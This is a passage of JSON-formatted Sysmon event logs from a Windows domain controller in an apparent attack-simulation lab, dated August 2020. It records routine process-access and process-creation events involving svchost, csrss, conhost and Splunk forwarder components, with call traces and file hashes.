C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.401\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4178-5F2D-0000-001055D40800}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.401","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4178-5F2D-0000-001055D40800}","TargetProcessId":"1600","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.541\r\nSourceProcessGUID: {90617006-4178-5F2D-0000-001055D40800}\r\nSourceProcessId: 1600\r\nSourceThreadId: 4424\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.541","SourceProcessGUID":"{90617006-4178-5F2D-0000-001055D40800}","SourceProcessId":"1600","SourceThreadId":"4424","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.122\r\nProcessGuid: {90617006-4179-5F2D-0000-00100AD60800}\r\nProcessId: 3388\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.122","ProcessGuid":"{90617006-4179-5F2D-0000-00100AD60800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4179-5F2D-0000-00100AD60800}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4179-5F2D-0000-00100AD60800}","TargetProcessId":"3388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4179-5F2D-0000-00100AD60800}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4179-5F2D-0000-00100AD60800}","TargetProcessId":"3388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 